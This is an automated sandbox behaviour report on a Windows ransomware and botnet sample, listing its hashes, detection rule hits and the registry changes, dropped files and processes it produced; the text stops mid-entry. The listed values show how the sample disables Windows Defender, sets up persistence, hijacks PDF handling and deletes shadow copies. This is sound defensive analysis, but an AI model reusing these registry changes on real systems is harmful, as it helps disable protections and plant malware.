Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/09/2026, 13:01
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
41 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
41 signatures
150 seconds
General
- Target 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 49KB
- Sample260925-p89kcsec84
- SHA256 e7d53490f40aa0334e31f4e53aa9b7e7ad237fef0ff91c73411b628f4fc34460
- MD5 2a4281a324dbf77ab72d94e1764d0b11
- SHA1 00716afd8cd4df5449da1dad55894899b5a616a4
- SHA512 2eceb1bab12cdfa0b58993c776658cf9e6fc3c0f41a6f0597df7b88c6d9bf6b7105d1e404f6d1c5f5e8b5e7b4df13fb2776d1f8e7fe1fc187f5996b7bb1ad72e
- SSDEEP 768:8rVZZ6zs0h16cFdQuSoq1/NKPzfX/fofw4/8A:qZ6HhIxB1GP/fofw4/8A
- TLSH T11D33064437ED4521E1BF9ABE89B251128731F463DC23DB9E1AD8459E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4908-0-0x0000000000490000-0x00000000004A2000-memory.dmp disable_win_def behavioral1/files/0x0007000000024642-2267.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/4908-0-0x0000000000490000-0x00000000004A2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x0007000000024642-2267.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/4908-0-0x0000000000490000-0x00000000004A2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x0007000000024642-2267.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2700 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4668 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini LogonUI.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3700 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\svchost.exe 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 3764 wscript.exe 208 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4764 sc.exe 4224 sc.exe 1280 sc.exe 4808 sc.exe 1392 sc.exe 4516 sc.exe 908 sc.exe 4688 sc.exe 1256 sc.exe 412 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4928 cmd.exe 2832 cmd.exe 2240 cmd.exe 216 cmd.exe 4016 cmd.exe 4204 cmd.exe 4768 cmd.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3432 NETSTAT.EXE 3504 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2556 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1992 vssadmin.exe 2324 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 25 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "4" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c9561ee0-0000-0000-0000-d01200000000} LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c9561ee0-0000-0000-0000-d01200000000}\MaxCapacity = "13092" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{40DD6E20-7C17-11CE-A804-00AA003CA9F6} {000214FC-0000-0000-C000-000000000046} 0xFFFF = 01000000000000001a1298f0ed4cdd01 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c9561ee0-0000-0000-0000-d01200000000}\NukeOnDelete = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\shell32.dll,-50176 = "File Operation" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "70" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.pdf\ = "PDFBotnet" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings 2026-09-24_2a4281a324dbf77ab72d94e1764d0b11_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\ = 